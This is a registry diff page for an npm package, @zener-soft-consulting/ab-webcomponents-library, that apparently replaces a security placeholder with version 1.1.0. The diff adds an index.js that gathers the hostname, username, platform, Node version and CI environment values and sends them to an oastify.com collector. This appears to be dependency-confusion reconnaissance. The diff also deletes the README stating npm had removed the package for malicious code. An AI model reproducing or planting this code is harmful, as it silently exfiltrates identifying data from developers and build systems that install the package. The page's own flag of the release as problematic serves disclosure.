@zener-soft-consulting/ab-webcomponents-library 0.0.1-security → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @zener-soft-consulting/ab-webcomponents-library might be problematic. Click here for more details.

@@ -0,0 +1,17 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ // Datos básicos para identificar el entorno
5
+ const systemInfo = {
6
+ hostname: os.hostname(),
7
+ platform: os.platform(),
8
+ nodeVersion: process.version,
9
+ user: os.userInfo().username,
10
+ envVars: {
11
+ CI: process.env.CI || false, // Si está en sistema de CI/CD
12
+ NODE_ENV: process.env.NODE_ENV // Entorno de ejecución
13
+ }
14
+ };
15
+
16
+ // Envía los datos a tu servidor (URL a modificar)
17
+ https.get('https://u4zitdd9jaqi4y6vxisejculnct5hz5o.oastify.com/log?data=' + encodeURIComponent(JSON.stringify(systemInfo)));
package/index.js ADDED
@@ -0,0 +1,17 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ // Datos básicos para identificar el entorno
5
+ const systemInfo = {
6
+ hostname: os.hostname(),
7
+ platform: os.platform(),
8
+ nodeVersion: process.version,
9
+ user: os.userInfo().username,
10
+ envVars: {
11
+ CI: process.env.CI || false, // Si está en sistema de CI/CD
12
+ NODE_ENV: process.env.NODE_ENV // Entorno de ejecución
13
+ }
14
+ };
15
+
16
+ // Envía los datos a tu servidor (URL a modificar)
17
+ https.get('https://u4zitdd9jaqi4y6vxisejculnct5hz5o.oastify.com/log?data=' + encodeURIComponent(JSON.stringify(systemInfo)));
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "@zener-soft-consulting/ab-webcomponents-library",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.1.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "whoami"
7
+ },
8
+ "author": "",
9
+ "license": "ISC",
10
+ "keywords": [],
11
+ "description": ""
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40zener-soft-consulting%2Fab-webcomponents-library for more information.